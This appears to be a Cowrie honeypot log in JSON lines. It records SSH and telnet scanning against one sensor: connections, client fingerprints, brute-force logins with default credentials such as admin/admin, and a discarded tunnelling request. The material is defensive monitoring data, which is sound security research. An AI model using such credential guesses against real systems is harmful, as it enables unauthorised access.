{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:56.575683Z","src_ip":"172.236.228.202","session":"bde40077b8d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:56.648088Z","src_ip":"172.236.228.202","session":"bde40077b8d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.202","src_port":2124,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcaf36328e19","protocol":"ssh","message":"New connection: 172.236.228.202:2124 (10.17.0.5:22) [session: fcaf36328e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:56.706892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:56.711843Z","src_ip":"172.236.228.202","session":"fcaf36328e19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:56.775782Z","src_ip":"172.236.228.202","session":"fcaf36328e19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:56.847336Z","src_ip":"172.236.228.202","session":"fcaf36328e19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52442,"dst_ip":"159.203.135.109","dst_port":22,"session":"86bf2a3cc5c7","protocol":"ssh","message":"New connection: 159.203.92.129:52442 (159.203.135.109:22) [session: 86bf2a3cc5c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:17.586573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:17.594083Z","src_ip":"159.203.92.129","session":"86bf2a3cc5c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:17.599574Z","src_ip":"159.203.92.129","session":"86bf2a3cc5c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adi","password":"adi","message":"login attempt [adi/adi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:17.612299Z","src_ip":"159.203.92.129","session":"86bf2a3cc5c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:18.620201Z","src_ip":"159.203.92.129","session":"86bf2a3cc5c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":55794,"dst_ip":"10.17.0.5","dst_port":22,"session":"12caec4420cf","protocol":"ssh","message":"New connection: 87.251.64.176:55794 (10.17.0.5:22) [session: 12caec4420cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:28.604612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:28.609143Z","src_ip":"87.251.64.176","session":"12caec4420cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:28.709356Z","src_ip":"87.251.64.176","session":"12caec4420cf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:28.998521Z","src_ip":"87.251.64.176","session":"12caec4420cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:29.099662Z","session":"12caec4420cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:29.199502Z","src_ip":"87.251.64.176","session":"12caec4420cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:29.302270Z","src_ip":"87.251.64.176","session":"12caec4420cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":52450,"dst_ip":"159.203.135.109","dst_port":22,"session":"afb2384ec503","protocol":"ssh","message":"New connection: 117.247.23.131:52450 (159.203.135.109:22) [session: afb2384ec503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:30.621989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:30.626345Z","src_ip":"117.247.23.131","session":"afb2384ec503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:31.249884Z","src_ip":"117.247.23.131","session":"afb2384ec503","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Admin","message":"login attempt [root/123Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:34.244386Z","src_ip":"117.247.23.131","session":"afb2384ec503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:36.172762Z","src_ip":"117.247.23.131","session":"afb2384ec503","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.185.81.112","src_port":42986,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ada0c7ee673","protocol":"ssh","message":"New connection: 89.185.81.112:42986 (10.17.0.5:22) [session: 9ada0c7ee673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:56.351941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:56.357091Z","src_ip":"89.185.81.112","session":"9ada0c7ee673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:56.455482Z","src_ip":"89.185.81.112","session":"9ada0c7ee673","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:56.668658Z","src_ip":"89.185.81.112","session":"9ada0c7ee673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:56.764103Z","src_ip":"89.185.81.112","session":"9ada0c7ee673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":23726,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a7a8ee35c09","protocol":"ssh","message":"New connection: 130.12.180.51:23726 (10.17.0.5:22) [session: 8a7a8ee35c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:56.849134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:56.854077Z","src_ip":"130.12.180.51","session":"8a7a8ee35c09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:56.938172Z","src_ip":"130.12.180.51","session":"8a7a8ee35c09","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:57.189043Z","src_ip":"130.12.180.51","session":"8a7a8ee35c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:39:57.734811Z","src_ip":"130.12.180.51","session":"8a7a8ee35c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59440,"dst_ip":"159.203.135.109","dst_port":22,"session":"d65878d3cce0","protocol":"ssh","message":"New connection: 159.203.92.129:59440 (159.203.135.109:22) [session: d65878d3cce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:02.701942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:02.954232Z","src_ip":"159.203.92.129","session":"d65878d3cce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:02.959103Z","src_ip":"159.203.92.129","session":"d65878d3cce0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adidas","password":"adidas","message":"login attempt [adidas/adidas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:04.703827Z","src_ip":"159.203.92.129","session":"d65878d3cce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:05.973597Z","src_ip":"159.203.92.129","session":"d65878d3cce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00949764251709,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:06.329394Z","src_ip":"167.250.105.129","session":"4f33752c306d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":11245,"dst_ip":"159.203.135.109","dst_port":23,"session":"15478a631f29","protocol":"telnet","message":"New connection: 167.250.105.129:11245 (159.203.135.109:23) [session: 15478a631f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:09.605203Z"}
{"eventid":"cowrie.session.closed","duration":120.00309443473816,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:11.832009Z","src_ip":"167.250.105.129","session":"85802dffbf13","protocol":"telnet"}
